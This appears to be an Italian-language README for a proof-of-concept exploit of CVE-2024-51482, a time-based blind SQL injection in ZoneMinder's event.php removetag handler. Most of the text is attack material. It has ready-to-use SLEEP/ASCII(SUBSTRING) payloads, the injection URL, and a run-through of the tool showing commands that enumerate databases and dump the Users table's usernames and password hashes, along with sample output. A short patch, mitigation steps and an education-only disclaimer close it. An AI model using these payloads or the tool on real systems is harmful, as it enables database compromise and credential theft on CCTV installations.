
ZenoMinder Blind SQL Injection PoC
CVE-2024-51482 è una vulnerabilità critica di SQL Injection basata su booleani scoperta in ZoneMinder, un popolare software di sorveglianza CCTV open-source. Questa falla interessa le versioni 1.37.* fino alla 1.37.64 e consente a un attaccante autenticato con privilegi bassi di eseguire comandi SQL arbitrari sul database sottostante.
| Metrica | Valore |
|---|---|
| CVE ID | CVE-2024-51482 |
| Punteggio CVSS | 9.9 (Critico) |
| Vettore di attacco | Rete |
| Privilegi richiesti | Basso |
| Interazione utente | Nessuna |
| Ambito | Modificato |
| Impatto | Riservatezza, Integrità, Disponibilità - ALTO |
| Versione corretta | 1.37.65 |
La vulnerabilità risiede nel file web/ajax/event.php all'interno della funzione removetag. Il parametro tid (ID Tag) viene concatenato direttamente in una query SQL senza una corretta sanificazione o parametrizzazione.
Codice vulnerabile:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABILE!
$rowCount = dbNumRows($sql);
// ...
Codice corretto:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Query parametrizzata
L'endpoint vulnerabile può essere attivato tramite:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[PUNTO_DI_INIEZIONE]
Il punto di iniezione non restituisce direttamente i risultati della query nella risposta, rendendo impossibili gli attacchi tradizionali basati su UNION. Invece, dobbiamo dedurre le informazioni attraverso condizioni booleane o ritardi temporali.
Il nostro exploit utilizza l'estrazione basata sul tempo con la funzione SLEEP():
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
Quando questa condizione è vera, il database dorme per 2 secondi, creando un ritardo misurabile nella risposta HTTP.
ASCII(SUBSTRING()) > MID.SLEEP si attiva.Esempio di payload per estrarre il carattere alla posizione 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Clona il repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Rendi lo script eseguibile
chmod +x CVE-2024-51482.py
# Installa le dipendenze richieste
pip3 install requests
# Verifica se il target è vulnerabile
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --test
# Scopri tutti i database
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --discover
# Elenca le tabelle in un database specifico
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --tables zm
# Elenca le colonne in una tabella specifica
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --columns zm Users
# Estrai dati da colonne specifiche
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --dump zm Users "Username,Password"
# Estrai la tabella utenti (default)
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users
# Abilita output debug per un processo di estrazione dettagliato
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --debug
# Regola il tempo di sleep per un'estrazione più affidabile
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --sleep 3
# Disabilita output colorato
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users --no-color
Esempio 1: Test della vulnerabilità
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: 192.168.1.100
[*] Accesso come 'admin' su 192.168.1.100...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.058s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
Esempio 2: Enumerazione dei database
$ python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: <host-target>
[*] Accesso come 'admin' su <host-target>...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.065s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
[*] Enumerazione dei database...
[+] Trovato database: information_schema
[+] Trovato database: performance_schema
[+] Trovato database: zm
[+] Database trovati:
1. information_schema
2. performance_schema
3. zm
Esempio 3: Estrazione delle credenziali utente
$ python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit di SQL Injection cieca su ZoneMinder
[*] Target: <host-target>
[*] Accesso come 'admin' su <host-target>...
[+] Accesso riuscito
[*] Misurazione del tempo di risposta base...
[*] Mediana base: 0.062s
[*] Test della vulnerabilità con sleep di 2s...
[+] Il target è vulnerabile!
[*] Estrazione della tabella Users dal database zm...
[*] Enumerazione delle colonne in 'zm.Users'...
[+] Trovata colonna: Id
[+] Trovata colonna: Username
[+] Trovata colonna: Password
[+] Trovata colonna: Language
[+] Trovata colonna: Enabled
[*] Estrazione dei dati da 'zm.Users'...
[+] Riga 1: {'Username': 'admin', 'Password': '$2y$10$...hash...'}
[+] Riga 2: {'Username': 'operator', 'Password': '$2y$10$...hash...'}
[+] Utenti estratti: 2
Utente: admin
Pass: $2y$10$...hash...
Email: admin@localhost
Abilitato: 1
Utente: operator
Pass: $2y$10$...hash...
Email: operator@localhost
Abilitato: 1
Esempio 4: Estrazione dati personalizzata
# Estrai colonne specifiche dalla tabella Events
python3 CVE-2024-51482.py -i <host-target> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) per verificare che l'iniezione funzioni.ASCII(SUBSTRING(({query}), {posizione}, 1)) > {mid}.SLEEP si attiva → Risposta ritardata.sudo apt-get update
sudo apt-get install zoneminder
# Configurazione Apache
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza. Il test non autorizzato di sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Metrica | Valore |
|---|
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Basso |
| Interazione utente | Nessuna |
| Ambito | Modificato |
| Riservatezza | Alta |
| Integrità | Alta |
| Disponibilità | Alta |